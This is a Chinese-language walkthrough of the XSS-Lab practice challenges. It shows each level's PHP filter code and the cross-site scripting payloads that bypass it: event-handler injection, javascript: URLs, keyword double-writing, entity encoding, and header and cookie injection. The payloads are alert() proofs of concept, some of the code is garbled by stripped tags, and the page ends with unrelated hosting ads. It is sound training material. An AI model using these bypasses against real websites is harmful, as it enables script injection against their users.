XSS-Lab
- level1
- level2
- level3
- level4
- level5
- level6
- level7
- level8
- level9
- level10
- level11
- level12
- level13
- level14
- level15
- level16
- level17
- level18
- level19
- level20
level1
从源码中可以看到这里并没有对输入的name
参数进行任何过滤就直接放入了
标签内
$str = $_GET["name"];
echo "欢迎用户".$str."
";
alert('xss')
alert(/xss/)
alert(777)
level2
$str = $_GET["keyword"];
echo "没有找到和".htmlspecialchars($str)."相关的结果.
".'
输入的内容被插入到了页面的两个地方,
内的$str
已经被htmlspecialchars()
转义成html实体,所以可以闭合内的
value
的值插入on事件
触发xss或者闭合标签
m0c1nu7">alert('xss')
m0c1nu7" onclick=alert('xss')//
javascript常见事件
:
事件 |
描述 |
|
鼠标点击html元素时执行 |
|
加载对象完成时执行 |
|
元素获得焦点时执行 |
|
表单提交时执行 |
|
鼠标光标在元素上移动时执行 |
|
当元素被选择时执行 |
|
按下键盘按键时执行 |
|
HTML 元素改变时执行 |
level3
$str = $_GET["keyword"];
echo "没有找到和".htmlspecialchars($str)."相关的结果.
"."
输出点还是这两个,两个地方都是用了htmlspecialchars()
转换html实体名称
,但是htmlspecialchars()
却对单引号'
是没有作用的,因为单引号没有实体名称的,单引号只有实体编码/实体数字
,而且这里的value=''
使用单引号包裹的,所以闭合单引号,使用事件触发xss即可
' οnclick=alert('xss')//
1' onclick=alert(1)//
level4
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("没有找到和".htmlspecialchars($str)."相关的结果.".'
过滤了尖括号、
>
,不能闭合标签,但是在标签内可以使用事件触发xss
" οnclick=alert("xss")//
" onclick=alert(7)//
level5
$str = strtolower($_GET["keyword"]);
$str2=str_replace("没有找到和".htmlspecialchars($str)."相关的结果.".'
过滤了on
事件、,标签内的事件触发不太可能了,尝试闭合标签,因为这里没有过滤
,使用
标签和
javascript
伪协议
test">click me
test">click me
test">click me
level6
$str = $_GET["keyword"];
$str2=str_replace("没有找到和".htmlspecialchars($str)."相关的结果.".'
对传入的值没有做大小写统一转换,可以使用大小写绕过过滤
" Onclick=alert(7)//
mochu">alert('xss')
mochu">click me
level7
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "没有找到和".htmlspecialchars($str)."相关的结果.
".'
过滤机制是替换为空,可以双写字符绕过
" oonnclick=alert("xss")//
mochu">alert("xss")
mochu">click me
level8
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '
';
?>
<?php echo '
友情链接';
?>
<?php echo "payload的长度:".strlen($str7)."";
?>
$str
输出点被htmlspecialchars()
转换了,而且这里value=""
是双引号包裹,双引号会被转化为实体名称,所以第一个输出点没法利用,第二个的输出点替换了很多关键字符,但是可以是使用
html实体编码绕过
html实体编码在线:https://www.qqxiuzi.cn/bianma/zifushiti.php
javascript:alert('xss');
javascript:alert('xss');
level9
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '
';
?>
<?php if(false===strpos($str7,'http://'))
{
echo '
友情链接';
}
else
{
echo '
友情链接
';
}
?>
<?php echo "payload的长度:".strlen($str7)."";
?>
value=""
的输出点无法利用,标签的输出点使用html实体编码绕过,然后加上前提条件:在输入的字符中含有
http://
javascript:alert('http://')
level10
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("没有找到和".htmlspecialchars($str)."相关的结果.".'
';
?>
<?php echo "payload的长度:".strlen($str)."";
?>
在页面中看只有keyword
这一个回显点,但是从源码中看还有个t_sort
的GET传参,并且type="hedden"
需要触发XSS还需要把这个type
改成button
click me" οnclick=alert("xss") type="button"
level11
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("没有找到和".htmlspecialchars($str)."相关的结果.".'
';
?>
<?php echo "payload的长度:".strlen($str)."";
?>
keyword
和t_sort
两个参数的输出点无法利用,从源码中看到有个请求头HTTP_REFERER
插入到了页面中,并且过滤了尖括号,但是还是可以利用事件触发XSS
抓包,添加一个HTTP请求头的Referer:
即可
Referer: click me" οnclick=alert("xss") type="button"
level12
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("没有找到和".htmlspecialchars($str)."相关的结果.".'
';
?>
<?php echo "payload的长度:".strlen($str)."";
?>
三个可控制点,但是前两个都无法利用,请求头HTTP_USER_AGENT
只过滤了尖括号就插入了页面中,抓包修改
User-Agent:
即可
User-Agent: click me" οnclick=alert("xss") type="button"
level13
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("没有找到和".htmlspecialchars($str)."相关的结果.".'
';
?>
<?php echo "payload的长度:".strlen($str)."";
?>
Cookie
可被控制,并且插入到页面内
Cookie: user=click me" οnclick=alert("xss") type="button"
level14
exif xss
这关无法复现
level15
这里的ng-include
是angularjs
的用法,相当于php
的include
,可以包含html(php)文件,所以调用其他关卡即可
src='level1.php?name='
level16
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "".$str5."";
?>
<?php echo "payload的长度:".strlen($str5)."";
?>
过滤了/
、script
、空格
,输出位置在中,双标签无法使用,使用单标签
,并且使用
%0a
、%0d
作为分隔符代替空格
level17
echo "";
输出点直接插在标签内,可以直接插入事件,但是双引号被转换实体名称,然后再测试的过程中发现,空格就可以直接分隔属性,在事件前面加个空格就可以把事件分隔出来
onmousemove=alert(7)
level18
echo "";
和上一题一样
onmousemove=alert(7)
level19
echo '';
flash xss
相关文章:
https://www.secpulse.com/archives/44299.htmlhttps://wizardforcel.gitbooks.io/xss-naxienian/content/14.html
?arg01=version&arg02=test
level20
echo '';
zeroclipboard xss
相关文章:https://www.freebuf.com/sectool/108568.html
?arg01=id&arg02="))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height
服务器托管,北京服务器托管,服务器租用 http://www.fwqtg.net
机房租用,北京机房租用,IDC机房托管, http://www.fwqtg.net
相关推荐: ChatGPT 从零到一打造私人智能英语学习助手-不若鼠横行
download:ChatGPT 从零到一打造私人智能英语学习助手 运维部署:如何快速有效地管理软件系统关键字:运维、部署、自动化、监控、安全现代软件系统由多个组件构成,这些组件需要不断地进行更新和维护。为了保证系统的稳定性和可靠性,我们需要一个高效的运维部署…